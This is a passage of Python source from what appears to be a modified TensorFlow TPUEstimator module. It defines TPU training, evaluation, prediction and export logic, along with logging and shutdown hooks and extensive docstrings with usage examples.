system. So, # place all ops on tpu host if possible. # # TODO(jhseu): Evaluate whether this is right for summaries. with ops.device(self._ctx.tpu_host_placement_function(replica_id=0)): for name in self._names: dequeue_ops = dequeue_ops_by_name[name] for i, item in enumerate(dequeue_ops): if dequeue_ops[i][0].shape.ndims == 0: raise RuntimeError( 'All tensors outfed from TPU should preserve batch size ' 'dimension, but got scalar {}'.format(dequeue_ops[i][0])) # TODO(xiejw): Allow users to specify the axis for batch size # dimension. dequeue_ops[i] = array_ops.concat(dequeue_ops[i], axis=0) if self._tensor_keys[name] is not None: # The user-provided eval_metrics[1] is a dict. dequeue_ops = dict(zip(self._tensor_keys[name], dequeue_ops)) try: ret[name] = self._host_fns[name](**dequeue_ops) except TypeError as e: logging.warning( 'Exception while calling %s: %s. It is likely the tensors ' '(%s[1]) do not match the ' 'function\'s arguments', name, e, name) raise e else: ret[name] = self._host_fns[name](*dequeue_ops) return ret class _OutfeedHostCallHook(session_run_hook.SessionRunHook): """Hook to run host calls when use_tpu=False.""" def __init__(self, tensors): self._tensors = tensors def begin(self): # We duplicate this code from the TPUInfeedOutfeedSessionHook rather than # create a separate hook to guarantee execution order, because summaries # need to be initialized before the outfeed thread starts. # TODO(jhseu): Make a wrapper hook instead? self._init_ops = contrib_summary.summary_writer_initializer_op() # Get all the writer resources from the initializer, so we know what to # flush. self._finalize_ops = [] for op in self._init_ops: self._finalize_ops.append(contrib_summary.flush(writer=op.inputs[0])) def after_create_session(self, session, coord): session.run(self._init_ops) def before_run(self, run_context): return basic_session_run_hooks.SessionRunArgs(self._tensors) def end(self, session): session.run(self._finalize_ops) class ExamplesPerSecondHook(basic_session_run_hooks.StepCounterHook): """Calculate and report global_step/sec and examples/sec during runtime.""" def __init__(self, batch_size, every_n_steps=100, every_n_secs=None, output_dir=None, summary_writer=None): self._batch_size = batch_size super(ExamplesPerSecondHook, self).__init__( every_n_steps=every_n_steps, every_n_secs=every_n_secs, output_dir=output_dir, summary_writer=summary_writer) def _log_and_record(self, elapsed_steps, elapsed_time, global_step): global_step_per_sec = elapsed_steps / elapsed_time examples_per_sec = self._batch_size * global_step_per_sec if self._summary_writer is not None: global_step_summary = Summary(value=[ Summary.Value(tag='global_step/sec', simple_value=global_step_per_sec) ]) example_summary = Summary(value=[ Summary.Value(tag='examples/sec', simple_value=examples_per_sec) ]) self._summary_writer.add_summary(global_step_summary, global_step) self._summary_writer.add_summary(example_summary, global_step) logging.info('global_step/sec: %g', global_step_per_sec) logging.info('examples/sec: %g', examples_per_sec) class InstallSignalHandlerHook(session_run_hook.SessionRunHook): """Change SIGINT (CTRL^C) handler to force quit the process. The default behavior often results in hanging processes. The original handler is restored after training/evaluation. """ def __init__(self): self._signal_fn = signal.getsignal(signal.SIGINT) def before_run(self, run_context): signal.signal(signal.SIGINT, signal.SIG_DFL) def end(self, session): signal.signal(signal.SIGINT, self._signal_fn) class TPUEstimator(estimator_lib.Estimator): """Estimator with TPU support. TPUEstimator also supports training on CPU and GPU. You don't need to define a separate `tf.estimator.Estimator`. TPUEstimator handles many of the details of running on TPU devices, such as replicating inputs and models for each core, and returning to host periodically to run hooks. TPUEstimator transforms a global batch size in params to a per-shard batch size when calling the `input_fn` and `model_fn`. Users should specify global batch size in constructor, and then get the batch size for each shard in `input_fn` and `model_fn` by `params['batch_size']`. - For training, `model_fn` gets per-core batch size; `input_fn` may get per-core or per-host batch size depending on `per_host_input_for_training` in `TPUConfig` (See docstring for TPUConfig for details). - For evaluation and prediction, `model_fn` gets per-core batch size and `input_fn` get per-host batch size. Evaluation ========== `model_fn` should return `TPUEstimatorSpec`, which expects the `eval_metrics` for TPU evaluation. However, if eval_on_tpu is False, `model_fn` must return `EstimatorSpec` and the evaluation will execute on CPU or GPU; in this case the following discussion on TPU evaluation does not apply. `TPUEstimatorSpec.eval_metrics` is a tuple of `metric_fn` and `tensors`, where `tensors` could be a list of `Tensor`s or dict of names to `Tensor`s. (See `TPUEstimatorSpec` for details). `metric_fn` takes the `tensors` and returns a dict from metric string name to the result of calling a metric function, namely a `(metric_tensor, update_op)` tuple. One can set `use_tpu` to `False` for testing. All training, evaluation, and predict will be executed on CPU. `input_fn` and `model_fn` will receive `train_batch_size` or `eval_batch_size` unmodified as `params['batch_size']`. Current limitations: -------------------- 1. TPU evaluation only works on a single host (one TPU worker) except BROADCAST mode. 2. `input_fn` for evaluation should **NOT** raise an end-of-input exception (`OutOfRangeError` or `StopIteration`). And all evaluation steps and all batches should have the same size. Example (MNIST): ---------------- ``` # The metric Fn which runs on CPU. def metric_fn(labels, logits): predictions = tf.argmax(logits, 1) return { 'accuracy': tf.metrics.precision( labels=labels, predictions=predictions), } # Your model Fn which runs on TPU (eval_metrics is list in this example) def model_fn(features, labels, mode, config, params): ... logits = ... if mode = tf.estimator.ModeKeys.EVAL: return tpu_estimator.TPUEstimatorSpec( mode=mode, loss=loss, eval_metrics=(metric_fn, [labels, logits])) # or specify the eval_metrics tensors as dict. def model_fn(features, labels, mode, config, params): ... final_layer_output = ... if mode = tf.estimator.ModeKeys.EVAL: return tpu_estimator.TPUEstimatorSpec( mode=mode, loss=loss, eval_metrics=(metric_fn, { 'labels': labels, 'logits': final_layer_output, })) ``` Prediction ========== Prediction on TPU is an experimental feature to support large batch inference. It is not designed for latency-critical system. In addition, due to some usability issues, for prediction with small dataset, CPU `.predict`, i.e., creating a new `TPUEstimator` instance with `use_tpu=False`, might be more convenient. Note: In contrast to TPU training/evaluation, the `input_fn` for prediction *should* raise an end-of-input exception (`OutOfRangeError` or `StopIteration`), which serves as the stopping signal to `TPUEstimator`. To be precise, the ops created by `input_fn` produce one batch of the data. The `predict()` API processes one batch at a time. When reaching the end of the data source, an end-of-input exception should be raised by one of these operations. The user usually does not need to do this manually. As long as the dataset is not repeated forever, the `tf.data` API will raise an end-of-input exception automatically after the last batch has been produced. Note: Estimator.predict returns a Python generator. Please consume all the data from the generator so that TPUEstimator can shutdown the TPU system properly for user. Current limitations: -------------------- 1. TPU prediction only works on a single host (one TPU worker). 2. `input_fn` must return a `Dataset` instance rather than `features`. In fact, .train() and .evaluate() also support Dataset as return value. Example (MNIST): ---------------- ``` height = 32 width = 32 total_examples = 100 def predict_input_fn(params): batch_size = params['batch_size'] images = tf.random_uniform( [total_examples, height, width, 3], minval=-1, maxval=1) dataset = tf.data.Dataset.from_tensor_slices(images) dataset = dataset.map(lambda images: {'image': images}) dataset = dataset.batch(batch_size) return dataset def model_fn(features, labels, params, mode): # Generate predictions, called 'output', from features['image'] if mode == tf.estimator.ModeKeys.PREDICT: return tf.contrib.tpu.TPUEstimatorSpec( mode=mode, predictions={ 'predictions': output, 'is_padding': features['is_padding'] }) tpu_est = TPUEstimator( model_fn=model_fn, ..., predict_batch_size=16) # Fully consume the generator so that TPUEstimator can shutdown the TPU # system. for item in tpu_est.predict(input_fn=input_fn): # Filter out item if the `is_padding` is 1. # Process the 'predictions' ``` Exporting ========= `export_savedmodel` exports 2 metagraphs, one with `tag_constants.SERVING`, and another with `tag_constants.SERVING` and `tag_constants.TPU`. At serving time, these tags are used to select metagraph to load. Before running the graph on TPU, TPU system needs to be initialized. If TensorFlow Serving model-server is used, this is done automatically. If not, please call `session.run(tpu.initialize_system())`. `tpu.outside_compilation` can be used to wrap TPU incompatible ops in `model_fn`. Example: ---------------- ``` def model_fn(features, labels, mode, config, params): ... logits = ... export_outputs = { 'logits': export_output_lib.PredictOutput( {'logits': logits}) } def host_call(logits): class_ids = math_ops.argmax(logits) classes = string_ops.as_string(class_ids) export_outputs['classes'] = export_output_lib.ClassificationOutput(classes=classes) tpu.outside_compilation(host_call, logits) ... ``` """ def __init__(self, model_fn=None, train_cache_fn=None, eval_cache_fn=None, model_dir=None, config=None, params=None, use_tpu=True, train_batch_size=None, eval_batch_size=None, predict_batch_size=None, batch_axis=None, eval_on_tpu=True, export_to_tpu=True, warm_start_from=None): """Constructs an `TPUEstimator` instance. Args: model_fn: Model function as required by `Estimator` which returns EstimatorSpec or TPUEstimatorSpec. `training_hooks`, 'evaluation_hooks', and `prediction_hooks` must not capure any TPU Tensor inside the model_fn. model_dir: Directory to save model parameters, graph and etc. This can also be used to load checkpoints from the directory into a estimator to continue training a previously saved model. If `None`, the model_dir in `config` will be used if set. If both are set, they must be same. If both are `None`, a temporary directory will be used. config: An `tpu_config.RunConfig` configuration object. Cannot be `None`. params: An optional `dict` of hyper parameters that will be passed into `input_fn` and `model_fn`. Keys are names of parameters, values are basic python types. There are reserved keys for `TPUEstimator`, including 'batch_size'. use_tpu: A bool indicating whether TPU support is enabled. Currently, - TPU training and evaluation respect this bit, but eval_on_tpu can override execution of eval. See below. - Predict still happens on CPU. train_batch_size: An int representing the global training batch size. TPUEstimator transforms this global batch size to a per-shard batch size, as params['batch_size'], when calling `input_fn` and `model_fn`. Cannot be `None` if `use_tpu` is `True`. Must be divisible by total number of replicas. eval_batch_size: An int representing evaluation batch size. Must be divisible by total number of replicas. predict_batch_size: An int representing the prediction batch size. Must be divisible by total number of replicas. batch_axis: A python tuple of int values describing how each tensor produced by the Estimator `input_fn` should be split across the TPU compute shards. For example, if your input_fn produced (images, labels) where the images tensor is in `HWCN` format, your shard dimensions would be [3, 0], where 3 corresponds to the `N` dimension of your images Tensor, and 0 corresponds to the dimension along which to split the labels to match up with the corresponding images. If None is supplied, and per_host_input_for_training is True, batches will be sharded based on the major dimension. If tpu_config.per_host_input_for_training is False or `PER_HOST_V2`, batch_axis is ignored. eval_on_tpu: If False, evaluation runs on CPU or GPU. In this case, the model_fn must return `EstimatorSpec` when called with `mode` as `EVAL`. export_to_tpu: If True, `export_savedmodel()` exports a metagraph for serving on TPU besides the one on CPU. warm_start_from: Optional string filepath to a checkpoint or SavedModel to warm-start from, or a `tf.estimator.WarmStartSettings` object to fully configure warm-starting. If the string filepath is provided instead of a `WarmStartSettings`, then all variables are warm-started, and it is assumed that vocabularies and Tensor names are unchanged. Raises: ValueError: `params` has reserved keys already. """ if config is None or not isinstance(config, tpu_config.RunConfig): raise ValueError( '`config` must be provided with type `tpu_config.RunConfig`') if params is not None and any(k in params for k in _RESERVED_PARAMS_KEYS): raise ValueError('{} are reserved keys but existed in params {}.'.format( _RESERVED_PARAMS_KEYS, params)) if use_tpu: # Perform some very basic validations. More validations will be found in # _InternalTPUContext. if train_batch_size is None: raise ValueError('`train_batch_size` cannot be `None`') util_lib.check_positive_integer(train_batch_size, 'train_batch_size') if (config.tpu_config.per_host_input_for_training is tpu_config.InputPipelineConfig.PER_SHARD_V1 and config.tpu_config.num_cores_per_replica): raise ValueError( 'Model parallelism only supports per host input for training. ' 'Please adjust TPURunconfig.per_host_input_for_training.') if eval_batch_size is not None: util_lib.check_positive_integer(eval_batch_size, 'eval_batch_size') if predict_batch_size is not None: util_lib.check_positive_integer(predict_batch_size, 'predict_batch_size') # Verifies the model_fn signature according to Estimator framework. estimator_lib._verify_model_fn_args(model_fn, params) # pylint: disable=protected-access # We cannot store config and params in this constructor as parent # constructor might change them, such as assigning a temp dir for # config.model_dir. model_function = self._augment_model_fn( model_fn, train_cache_fn, eval_cache_fn, batch_axis) # Overwrite log_step_count_steps to disable TensorLoggingHook and # StepCounterHook from being created in Estimator. TPUEstimator already # added equivalent hooks in _augment_model_fn above. self._log_every_n_steps = config.log_step_count_steps config = config.replace(log_step_count_steps=None) # Passing non-None params as wrapped model_fn has it. params = params or {} super(TPUEstimator, self).__init__( model_fn=model_function, model_dir=model_dir, config=config, params=params, warm_start_from=warm_start_from) self._iterations_per_training_loop = ( self._config.tpu_config.iterations_per_loop) # All properties passed to _InternalTPUContext are immutable. # pylint: disable=protected-access self._ctx = tpu_context._get_tpu_context( self._config, train_batch_size, eval_batch_size, predict_batch_size, use_tpu, eval_on_tpu) self._export_to_tpu = export_to_tpu self._is_input_fn_invoked = None self._rendezvous = {} def _add_meta_graph_for_mode(self, builder, input_receiver_fn_map, checkpoint_path, strip_default_attrs, save_variables=True, mode=model_fn_lib.ModeKeys.PREDICT, export_tags=None, check_variables=True): if self._export_to_tpu and mode != model_fn_lib.ModeKeys.PREDICT: raise NotImplementedError( 'TPUEstimator only handles mode PREDICT for exporting ' 'when `export_to_tpu` is `True`; ' 'got {}.'.format(mode)) (super(TPUEstimator, self). _add_meta_graph_for_mode(builder, input_receiver_fn_map, checkpoint_path, strip_default_attrs, save_variables, mode=mode, export_tags=export_tags, check_variables=check_variables)) if self._export_to_tpu: input_receiver_fn_map = {_REWRITE_FOR_INFERENCE_MODE: input_receiver_fn_map[mode]} export_tags = [tag_constants.SERVING, tag_constants.TPU] mode = _REWRITE_FOR_INFERENCE_MODE # See b/110052256 for why `check_variables` is `False`. (super(TPUEstimator, self). _add_meta_graph_for_mode(builder, input_receiver_fn_map, checkpoint_path, strip_default_attrs, save_variables=False, mode=mode, export_tags=export_tags, check_variables=False)) def _call_model_fn(self, features, labels, mode, config): if mode == _REWRITE_FOR_INFERENCE_MODE: return self._call_model_fn_for_inference(features, labels, mode, config) else: return super(TPUEstimator, self)._call_model_fn( features, labels, mode, config) def _call_model_fn_for_inference(self, features, labels, mode, config): """Wraps `_call_model_fn` for `export_savedmodel`.""" if mode != _REWRITE_FOR_INFERENCE_MODE: raise ValueError('mode must be {}; ' 'got {}.'.format(_REWRITE_FOR_INFERENCE_MODE, mode)) capture = _CapturedObject() def computation(): """Compute tpu tensors used in export_outputs. Passed to rewrite_for_inference so that model_fn will be called under the rewriting contexts. Only tpu tensors are returned, but export_outputs and scaffold are captured. Returns: A list of Tensors used in export_outputs and not marked for outside_compilation. """ # We should only call model fn once and it should be inside `computation` # so that building the graph will happen under `rewrite_for_inference`. mode = model_fn_lib.ModeKeys.PREDICT estimator_spec = self._call_model_fn(features, labels, mode, config) # We pick the TPU tensors out from `export_output` and later return them # from `computation` for rewriting. tensors_dict = collections.OrderedDict( (k, _export_output_to_tensors(v)) for k, v in six.iteritems(estimator_spec.export_outputs) ) tensors = nest.flatten(tensors_dict) tpu_tensors = [t for t in tensors if _is_tpu_tensor(t)] # We cannot return anything other than `tpu_tensors` here so we capture # the rest for later use. capture.capture((estimator_spec, tensors_dict, tensors)) return tpu_tensors tpu_tensors_on_cpu = tpu.rewrite_for_inference(computation) estimator_spec, tensors_dict, tensors = capture.get() # Reconstruct `tensors`, but with `tpu_tensors` replaced with # `tpu_tensors_on_cpu`. new_tensors = [] for t in tensors: if _is_tpu_tensor(t): new_tensors.append(tpu_tensors_on_cpu.pop(0)) elif t is None: new_tensors.append(None) else: # Only fetching `tpu_tensors_on_cpu` does not trigger # TPU computation and blocks, so we add the control dependency here. control_inputs = (tpu_tensors_on_cpu if isinstance(tpu_tensors_on_cpu, (list, tuple)) else (tpu_tensors_on_cpu,)) with ops.control_dependencies(control_inputs): new_tensors.append(array_ops.identity(t)) # Reconstruct `tensors_dict`. new_tensors_dict = nest.pack_sequence_as(tensors_dict, new_tensors) # Reconstruct `export_outputs`. export_outputs = estimator_spec.export_outputs new_export_outputs = collections.OrderedDict( (k, _clone_export_output_with_tensors(export_outputs[k], v)) for k, v in six.iteritems(new_tensors_dict) ) return estimator_spec._replace(export_outputs=new_export_outputs) def _create_global_step(self, graph): """Creates a global step suitable for TPUs. Args: graph: The graph in which to create the global step. Returns: A global step `Tensor`. Raises: ValueError: if the global step tensor is already defined. """ return _create_global_step(graph) def _convert_train_steps_to_hooks(self, steps, max_steps): with self._ctx.with_mode(model_fn_lib.ModeKeys.TRAIN) as ctx: if ctx.is_running_on_cpu(): return super(TPUEstimator, self)._convert_train_steps_to_hooks( steps, max_steps) # On TPU. if steps is None and max_steps is None: raise ValueError( 'For TPU training, one of `steps` or `max_steps` must be set. ' 'Cannot be both `None`.') # Estimator.train has explicit positiveness check. if steps is not None: util_lib.check_positive_integer(steps, 'Train steps') if max_steps is not None: util_lib.check_positive_integer(max_steps, 'Train max_steps') return [ _TPUStopAtStepHook(self._iterations_per_training_loop, steps, max_steps) ] def _convert_eval_steps_to_hooks(self, steps): with self._ctx.with_mode(model_fn_lib.ModeKeys.EVAL) as ctx: if ctx.is_running_on_cpu(): return super(TPUEstimator, self)._convert_eval_steps_to_hooks(steps) if steps is None: raise ValueError('Evaluate `steps` must be set on TPU. Cannot be `None`.') util_lib.check_positive_integer(steps, 'Eval steps') return [ evaluation._StopAfterNEvalsHook( # pylint: disable=protected-access num_evals=steps), _SetEvalIterationsHook(steps) ] def _call_input_fn(self, input_fn, mode): """Calls the input function. Args: input_fn: The input function. mode: ModeKeys Returns: Either features or (features, labels) where features and labels are: features - `Tensor` or dictionary of string feature name to `Tensor`. labels - `Tensor` or dictionary of `Tensor` with labels. Raises: ValueError: if input_fn takes invalid arguments or does not have `params`. """ input_fn_args = function_utils.fn_args(input_fn) config = self.config # a deep copy. kwargs = {} if 'params' in input_fn_args: kwargs['params'] = self.params # a deep copy. else: raise ValueError('input_fn ({}) does not include params argument, ' 'required by TPUEstimator to pass batch size as ' 'params["batch_size"]'.format(input_fn)) if 'config' in input_fn_args: kwargs['config'] = config if 'mode' in input_fn_args: kwargs['mode'] = mode # Records the fact input_fn has been invoked. self._is_input_fn_invoked = True with self._ctx.with_mode(mode) as ctx: # Setting the batch size in params first. This helps user to have same # input_fn for use_tpu=True/False. batch_size_for_input_fn = ctx.batch_size_for_input_fn if batch_size_for_input_fn is not None: _add_item_to_params(kwargs['params'], _BATCH_SIZE_KEY, batch_size_for_input_fn) # For export_savedmodel, input_fn is never passed to Estimator. So, # `is_export_mode` must be False. if ctx.is_running_on_cpu(is_export_mode=False): with ops.device('/device:CPU:0'): return input_fn(**kwargs) # For TPU computation, input_fn should be invoked in a tf.while_loop for # performance. While constructing the tf.while_loop, the structure of # inputs returned by the `input_fn` needs to be recorded. The structure # includes whether features or labels is dict or single Tensor, dict keys, # tensor shapes, and dtypes. The recorded structure is used to create the # infeed dequeue ops, which must be wrapped and passed as a Fn, called # inside the TPU computation, as the TPU computation is wrapped inside a # tf.while_loop also. So, we either pass input_fn to model_fn or pass # dequeue_fn to model_fn. Here, `input_fn` is passed directly as # `features` in `model_fn` signature. def _input_fn(ctx): _add_item_to_params(kwargs['params'], _CTX_KEY, ctx) return input_fn(**kwargs) return _input_fn def _validate_features_in_predict_input(self, result): """Skip the validation. For TPUEstimator, we do not need to check the result type. `_InputPipeline` has stronger check. Parent class's check generates confusing warning msg. Args: result: `features` returned by input_fn. """ pass def train(self, input_fn, hooks=None, steps=None, max_steps=None, saving_listeners=None): rendezvous = error_handling.ErrorRendezvous(num_sources=3) self._rendezvous[model_fn_lib.ModeKeys.TRAIN] = rendezvous try: return super(TPUEstimator, self).train( input_fn=input_fn, hooks=hooks, steps=steps, max_steps=max_steps, saving_listeners=saving_listeners ) except Exception: # pylint: disable=broad-except rendezvous.record_error('training_loop', sys.exc_info()) finally: rendezvous.record_done('training_loop') rendezvous.raise_errors() def evaluate(self, input_fn, steps=None, hooks=None, checkpoint_path=None, name=None): rendezvous = error_handling.ErrorRendezvous(num_sources=3) self._rendezvous[model_fn_lib.ModeKeys.EVAL] = rendezvous try: return super(TPUEstimator, self).evaluate( input_fn, steps=steps, hooks=hooks, checkpoint_path=checkpoint_path, name=name ) except Exception: # pylint: disable=broad-except rendezvous.record_error('evaluation_loop', sys.exc_info()) finally: rendezvous.record_done('evaluation_loop') rendezvous.raise_errors() def predict(self, input_fn, predict_keys=None, hooks=None, checkpoint_path=None, yield_single_examples=True): rendezvous = error_handling.ErrorRendezvous(num_sources=3) self._rendezvous[model_fn_lib.ModeKeys.PREDICT] = rendezvous try: for result in super(TPUEstimator, self).predict( input_fn=input_fn, predict_keys=predict_keys, hooks=hooks, checkpoint_path=checkpoint_path, yield_single_examples=yield_single_examples): yield result except Exception: # pylint: disable=broad-except rendezvous.record_error('prediction_loop', sys.exc_info()) finally: rendezvous.record_done('prediction_loop') rendezvous.raise_errors() rendezvous.record_done('prediction_loop') rendezvous.raise_errors() def _augment_model_fn(self, model_fn, train_cache_fn, eval_cache_fn, batch_axis): """Returns a new model_fn, which wraps the TPU support.""" def _model_fn(features, labels, mode, config, params): """A Estimator `model_fn` for TPUEstimator.""" with self._ctx.with_mode(mode) as ctx: model_fn_wrapper = _ModelFnWrapper(model_fn, train_cache_fn, eval_cache_fn, config, params, ctx) # `input_fn` is called in `train()`, `evaluate()`, and `predict()`, # but not in `export_savedmodel()`. if self._is_input_fn_invoked: is_export_mode = False else: is_export_mode = True # Clear the bit. self._is_input_fn_invoked = None # examples_hook is added to training_hooks for both CPU and TPU # execution. examples_hook = ExamplesPerSecondHook( ctx.global_batch_size, output_dir=self.model_dir, every_n_steps=self._log_every_n_steps) if ctx.is_running_on_cpu(is_export_mode=is_export_mode): logging.info('Running %s on CPU', mode) estimator_spec = model_fn_wrapper.call_without_tpu( features, labels, is_export_mode=is_export_mode) estimator_spec = estimator_spec._replace( training_hooks=estimator_spec.training_hooks + (examples_hook,)) return estimator_spec assert labels is None, '`labels` passed to `model_fn` must be `None`.' # TPUEstimator._call_input_fn passes `input_fn` as features to here. assert callable(features), '`input_fn` is not callable.' input_fn = features input_holders = _InputPipeline(input_fn, batch_axis, ctx) enqueue_ops, dequeue_fn, input_hooks, run_infeed_loop_on_coordinator = ( input_holders.generate_infeed_enqueue_ops_and_dequeue_fn()) graph = ops.get_default_graph() for enqueue_op in enqueue_ops: if isinstance(enqueue_op, list): graph.get_collection_ref(_TPU_ENQUEUE_OPS).extend(enqueue_op) else: graph.add_to_collection(_TPU_ENQUEUE_OPS, enqueue_op) if mode == model_fn_lib.ModeKeys.TRAIN: loss, host_call, scaffold, training_hooks = ( _train_on_tpu_system(ctx, model_fn_wrapper, dequeue_fn)) if model_fn_wrapper._params.get('track_mean', False): iterations_per_loop_var = _create_or_get_iterations_per_loop() loss = math_ops.div(loss, math_ops.cast( iterations_per_loop_var, dtype=loss.dtype)) host_ops = host_call.create_tpu_hostcall() if host_ops is None: host_ops = [] shutdown_hooks = [] shutdown_mode = os.environ.get('TF_TPU_GRACEFUL_SHUTDOWN_MODE', 'shutdown_worker') if shutdown_mode: if shutdown_mode == 'shutdown_worker': finalizer_hooks = [ session_support.ShutdownLameWorkers(timeout_ms=60*1000), ] elif shutdown_mode == 'shutdown_computation': finalizer_hooks = [ session_support.RestartComputation(timeout_ms=60*1000), ] else: raise ValueError('Unknown TF_TPU_GRACEFUL_SHUTDOWN_MODE "%s"' % shutdown_mode) shutdown_hooks.append(session_support.GracefulShutdownHook( checkpoint_prefix=self.model_dir + '/model.ckpt', on_shutdown_hooks=finalizer_hooks )) with ops.control_dependencies([loss]): global_step = array_ops.identity(training.get_global_step()) hooks = input_hooks + shutdown_hooks logging_hook_frequency = ( # Divide and round up (self._log_every_n_steps + self._config.tpu_config.iterations_per_loop - 1) // self._config.tpu_config.iterations_per_loop) iterations_per_loop = array_ops.identity( _create_or_get_iterations_per_loop()) hooks.extend([ TPUInfeedOutfeedSessionHook( ctx, enqueue_ops, host_ops, run_infeed_loop_on_coordinator=( run_infeed_loop_on_coordinator), rendezvous=self._rendezvous[mode], ), InstallSignalHandlerHook(), training.LoggingTensorHook( { 'loss': array_ops.identity(loss), 'ppl': tensorflow.exp(loss), 'bpc': loss / tensorflow.constant(math.log(2)), '#iter/loop': iterations_per_loop, 'global step': global_step, }, every_n_iter=logging_hook_frequency) ]) examples_hook._set_steps_per_run( # pylint: disable=protected-access self._config.tpu_config.iterations_per_loop) hooks.append(examples_hook) if training_hooks: hooks.extend(training_hooks) chief_hooks = [] if (self._config.save_checkpoints_secs or self._config.save_checkpoints_steps): checkpoint_hook = training.CheckpointSaverHook( self.model_dir, save_secs=self._config.save_checkpoints_secs, save_steps=self._config.save_checkpoints_steps, scaffold=scaffold) checkpoint_hook._set_steps_per_run( # pylint: disable=protected-access self._config.tpu_config.iterations_per_loop) chief_hooks.append(checkpoint_hook) summary.scalar(model_fn_lib.LOSS_METRIC_KEY, loss) with ops.control_dependencies([loss]): update_ops = _sync_variables_ops() # Validate the TPU training graph to catch basic errors _validate_tpu_training_graph() train_op = control_flow_ops.group(*update_ops) graph.add_to_collection(_TPU_TRAIN_OP, train_op) return model_fn_lib.EstimatorSpec( mode, loss=loss, training_chief_hooks=chief_hooks, training_hooks=hooks, train_op=train_op, scaffold=scaffold) if mode == model_fn_lib.ModeKeys.EVAL: total_loss, host_calls, scaffold, eval_hooks = _eval_on_tpu_system( ctx, model_fn_wrapper, dequeue_fn) iterations_per_loop_var = _create_or_get_iterations_per_loop() mean_loss = math_ops.div(total_loss, math_ops.cast( iterations_per_loop_var, dtype=total_loss.dtype)) # Creates a dummy metric update_op for all metrics. Estimator expects # all metrics in eval_metric_ops have update_op and calls them one by # one. The real metric update_ops are invoked in a separated thread. # So, here give Estimator the dummy op for all metrics. with ops.control_dependencies([mean_loss]): # After TPU evaluation computation is done (the mean_loss tensor), # reads all variables back from TPU and updates the eval step # counter properly internal_ops_to_run = _sync_variables_ops() internal_ops_to_run.append( _increase_eval_step_op(iterations_per_loop_var)) with ops.control_dependencies(internal_ops_to_run): dummy_update_op = control_flow_ops.no_op() host_call_ret = host_calls.create_tpu_hostcall() eval_metric_ops = {} eval_update_ops = [] for k, v in host_call_ret.get('eval_metrics', {}).items(): eval_metric_ops[k] = (v[0], dummy_update_op) eval_update_ops.append(v[1]) if 'host_call' not in host_call_ret: host_ops = [] else: host_ops = host_call_ret['host_call'] hooks = [ TPUInfeedOutfeedSessionHook( ctx, enqueue_ops, eval_update_ops + host_ops, run_infeed_loop_on_coordinator=( run_infeed_loop_on_coordinator), rendezvous=self._rendezvous[mode]), ] + input_hooks if eval_hooks: hooks.extend(eval_hooks) return model_fn_lib.EstimatorSpec( mode, loss=mean_loss, evaluation_hooks=hooks, eval_metric_ops=eval_metric_ops, scaffold=scaffold) # Predict assert mode == model_fn_lib.ModeKeys.PREDICT (dummy_predict_op, host_calls, scaffold, prediction_hooks) = _predict_on_tpu_system( ctx, model_fn_wrapper, dequeue_fn) with ops.control_dependencies([dummy_predict_op]): internal_ops_to_run = _sync_variables_ops() with ops.control_dependencies(internal_ops_to_run): dummy_predict_op = control_flow_ops.no_op() # In train and evaluation, the main TPU program is passed to monitored # training session to run. Infeed enqueue and outfeed dequeue are # executed in side threads. This is not the configuration for # prediction mode. # # For prediction, the Estimator executes the EstimatorSpec.predictions # directly and yield the element (via generator) to call site. So, the # outfeed based prediction must be passed to MonitoredSession directly. # Other parts of the TPU execution are organized as follows. # # 1. All outfeed based Tensors must be grouped with predictions Tensors # to form a single invocation. This avoid the issue we might trigger # multiple outfeeds incorrectly. To achieve this, `host_call` is # placed in control_dependencies of `stopping_signals`, and # `stopping_signals` is passed into _StoppingPredictHook, which sets # the `stopping_signals` as SessionRunArgs. MonitoredSession merges # all SessionRunArgs with the fetch in session.run together. # # 2. The TPU program (dummy_predict_op) and enqueue_ops (infeed Enqueue) # are grouped together. They will be launched once and only once in # side threads and they quit naturally according to the SAME stopping # condition. enqueue_ops.append(dummy_predict_op) host_call_ret = host_calls.create_tpu_hostcall() if 'host_call' not in host_call_ret: host_ops = [] else: host_ops = host_call_ret['host_call'] predictions = host_call_ret['predictions'] _verify_cross_hosts_transfer_size( predictions, message=( 'The estimated size for TPUEstimatorSpec.predictions is too ' 'large.')) signals = host_call_ret['signals'] with ops.control_dependencies(host_ops): host_ops = [] # Empty, we do do not need it anymore. scalar_stopping_signal = _StopSignals.as_scalar_stopping_signal( signals) predictions = _PaddingSignals.slice_tensor_or_dict( predictions, signals) hooks = [ _StoppingPredictHook(scalar_stopping_signal), TPUInfeedOutfeedSessionHookForPrediction( ctx, enqueue_ops, host_ops, rendezvous=self._rendezvous[mode]), ] + input_hooks if prediction_hooks: hooks.extend(prediction_hooks) return model_fn_lib.EstimatorSpec( mode, prediction_hooks=hooks, predictions=predictions, scaffold=scaffold) return _model_fn def _is_tpu_tensor(tensor): if not isinstance(tensor, ops.Tensor): return False try: tensor.op.get_attr(tpu._OUTSIDE_COMPILATION_ATTR) # pylint: disable=protected-access except ValueError: return True else: return False def _export_output_to_tensors(export_output): """Get a list of `Tensors` used in `export_output`. Args: export_output: an `ExportOutput` object such as `ClassificationOutput`, `RegressionOutput`, or `PredictOutput`. Returns: a list of tensors used in export_output. Raises: ValueError: if `export_output` is not one of `ClassificationOutput`, `RegressionOutput`, or `PredictOutput`. """ if isinstance(export_output, export_output_lib.ClassificationOutput): return [export_output.scores, export_output.classes] elif isinstance(export_output, export_output_lib.RegressionOutput): return [export_output.value] elif isinstance(export_output, export_output_lib.PredictOutput): return export_output.outputs.values() else: raise ValueError( '`export_output` must be have type `ClassificationOutput`, ' '`RegressionOutput`, or `PredictOutput`; got {}.'.format(export_output)) def _clone_export_output_with_tensors(export_output, tensors): """Clones `export_output` but with new `tensors`. Args: export_output: an `ExportOutput` object such as `ClassificationOutput`, `RegressionOutput`, or `PredictOutput`. tensors: a list of `Tensors` used to construct a new `export_output`. Returns: A dict similar to `export_output` but with `tensors`. Raises: ValueError: if `export_output` is not one of `ClassificationOutput`, `RegressionOutput`, or `PredictOutput`. """ if isinstance(export_output, export_output_lib.ClassificationOutput): if len(tensors) != 2: raise ValueError('tensors must be of length 2; ' 'got {}.'.format(len(tensors))) return export_output_lib.ClassificationOutput(*tensors) elif isinstance(export_output, export_output_lib.RegressionOutput): if len(tensors) != 1: raise ValueError('tensors must be of length 1; ' 'got {}'.format(len(tensors))) return export_output_lib.RegressionOutput(*tensors) elif isinstance(export_output, export_output_lib.PredictOutput): return export_output_lib.PredictOutput( dict(zip(export_output.outputs.keys(), tensors))) else: raise ValueError( '`export_output` must be have type `ClassificationOutput`, ' '`RegressionOutput`, or `PredictOutput`; got {}.'.format(export_output)) def _eval_on_tpu_system(ctx, 